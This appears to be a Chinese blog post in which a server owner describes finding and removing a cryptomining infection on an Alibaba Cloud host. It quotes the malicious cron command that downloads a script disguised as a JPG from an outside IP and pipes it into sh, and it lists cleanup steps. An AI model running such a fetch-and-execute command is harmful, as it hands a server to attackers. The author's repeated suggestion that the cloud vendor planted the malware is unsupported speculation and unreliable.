今天接到阿里云的电话语音提醒,说是经检测你有一台云服务器实例存在挖矿活动,要求尽快处理。对此,我有两个疑问,一是阿里云怎么知道的,二是如何处理这种问题。

先用ssh登录到云服务器看看再说。使用“top -c”命令看一下哪个进程占用的cpu和memory最高,发现也没有啊,看来这个挖矿进程没有工作呢!接着再用“ps -ef”看一下有哪些进程。结果让我吓一跳,出现很多下面的:


root     15081   922  0 13:56 ?        00:00:00 CROND
root     15082 15081  0 13:56 ?        00:00:00 /bin/sh -c wget -q http://192.99.142.235:8220/logo4.jpg -O - | sh
root     15083 15082  0 13:56 ?        00:00:00 wget -q http://192.99.142.235:8220/logo4.jpg -O -
root     15084 15082  0 13:56 ?        00:00:00 sh

原来是在计划任务中,执行了“/bin/sh -c wget -q http://192.99.142.235:8220/logo4.jpg -O - | sh”

这一行命令什么意思呢?它就是把执行脚本伪装成网站上的jpg图片,使用wget下载到本地(注意不是保存为文件),看“-O -”,这表示直接给到打印输出,通过管道给sh执行!这相当于在云服务器主机上可以为所欲为了。再看这个ip,查询出来竟是“IP地址: 192.99.142.235 加拿大魁北克 OVH”,似乎是来自境外的攻击。所幸的是,这台主机无法访问资源“http://192.99.142.235:8220/logo4.jpg”,所以没有造成安全问题。

之前也遇到过这个问题,令我感到奇怪的是,我在其他云上的主机就没有这个问题呢。我甚至有点怀疑这是阿里云故意搞的诡计,意图就是花钱买它提供的附加的安全服务。像这种命令是怎么执行的?外部如何能够入侵一台云服务器主机?真的不得而知,而且哦,就能被你阿里云检测到了,我购买了你的服务器,你都不能保证我的云服务器安全,这算什么呢?阿里云实际上是用一个叫作AliYunDun的进程来监控云主机的,百度云也有类似的,不过叫做hosteye。

好了,下面谈谈怎么清除这个木马吧!用到crontab -l和crontab -e这两个命令,分别是查看和编辑任务调度的。先crontab -e把调度的那一行给删了,保存。再用“kill 进程id”把可疑进程杀掉。

由于telnet是明文传输,服务端的telnet千万别打开,切记!

下面步入正题,查看阿里云后台的告警提示得知,该挖矿进程的文件位于/etc/sysconfig/cpuid/cpuid,它为了隐蔽自己,把名字改成了cpuid,嘿嘿!于是直接删除它呗!还没那么容易,竟然删不掉!

[root@iZ94oggcut4Z ~]# rm /etc/sysconfig/cpuid/cpuid
rm: remove regular file `/etc/sysconfig/cpuid/cpuid'? y
rm: cannot remove `/etc/sysconfig/cpuid/cpuid': Operation not permitted

用chmod也不行,后来参考这篇文章解决root用户Operation not permitted - 简书 (jianshu.com),找到了原因,使用“lsattr /etc/sysconfig/cpuid/cpuid”发现多了一个i属性,接着使用“chattr -i /etc/sysconfig/cpuid/cpuid”去掉i属性后,就能正常删除了。还要删除“/etc/sysconfig/cpuid/config.json”文件,一样要先去掉i属性后才能删除。还有一处,系统启动的时候可能会执行的脚本“/etc/rc.d/init.d/cpuid”,一样要先去掉i属性后才能删除。似乎还有一处“/var/lock/subsys/cpuid”,这是用locate命令发现的,locate的结果使用的是数据库里的,这应该是个什么锁,已经不存在了。可见黑客都是精通技术底层的专家。也不知道这个是不是阿里云故意搞的鬼,反正我在其他厂商的云服务就没有这个问题。当通过它的云安全中心处理时,提示要购买收费服务才能处理。我心想,购买你的云服务,你不保证它的安全,还额外收费,真让人怀疑是不是故意的。毕竟它的云顿在不停监控扫描磁盘的内容,真是毫无安全可言!